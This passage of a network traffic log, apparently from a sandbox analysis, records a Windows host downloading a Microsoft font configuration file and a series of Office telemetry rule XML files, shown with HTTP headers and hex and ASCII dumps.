2024-10-18 21:46:37 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:36 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 630882ef-001e-0049-7ebc-1f5bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214636Z-r197bdfb6b429k2srg5tfm6hnn000000030000000000tb8h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:37 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	49830	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:37 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-18 21:46:37 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=241136 Date: Fri, 18 Oct 2024 21:46:37 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-18 21:46:37 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.5	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:37 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:37 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:37 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 3d354aa7-b01e-0001-62d8-1e46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214637Z-16b659b4499hn29ks1ddp5hvac0000000d4g00000000fnf7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 21:46:37 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.5	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:38 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:38 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:38 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 338a1818-c01e-00a2-36d8-1e2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214638Z-15b8d89586f2hk2885zk3a4enc00000005gg00000000qabx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:38 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.5	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:38 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:38 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:38 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: db3d69cc-a01e-0070-02d8-1e573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214638Z-r197bdfb6b4t7wszdvrfk02ah400000000wg000000002kch x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:38 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.5	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:38 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:38 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:38 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: fd41c75f-c01e-008e-7923-217381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214638Z-16b659b449999m8hsuhyf00exs0000000br000000000wepw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 21:46:38 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.5	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:38 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:38 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:38 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: f8617a56-201e-0071-7ad8-1eff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214638Z-15b8d89586fdmfsgn8gw8tkkbc00000005kg000000005r9s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:38 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:38 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:38 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:38 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 20e62c17-a01e-000d-57d8-1ed1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214638Z-16b659b4499bnwsctrq8dt6ghw0000000afg000000003728 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:38 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:39 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:39 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:39 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 88a88702-401e-005b-4e84-219c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214639Z-15b8d89586f8l5961kfst8fpb000000000s000000000ervu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 21:46:39 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:39 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:39 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:39 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: dd0072de-501e-0064-4cd8-1e1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214639Z-r197bdfb6b49k6rshrw4zhxpu00000000c1g00000000t815 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:39 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.5	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:39 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:39 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:39 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 038cab76-201e-00aa-04d8-1e3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214639Z-16b659b4499qzkzdaxyf40k2c00000000axg0000000000fy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 21:46:39 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.5	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:39 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:39 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:39 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 783e43a6-401e-00ac-1ad8-1e0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214639Z-16b659b4499p9z6wm7hd85vp6w00000001r000000000f92t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 21:46:39 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" 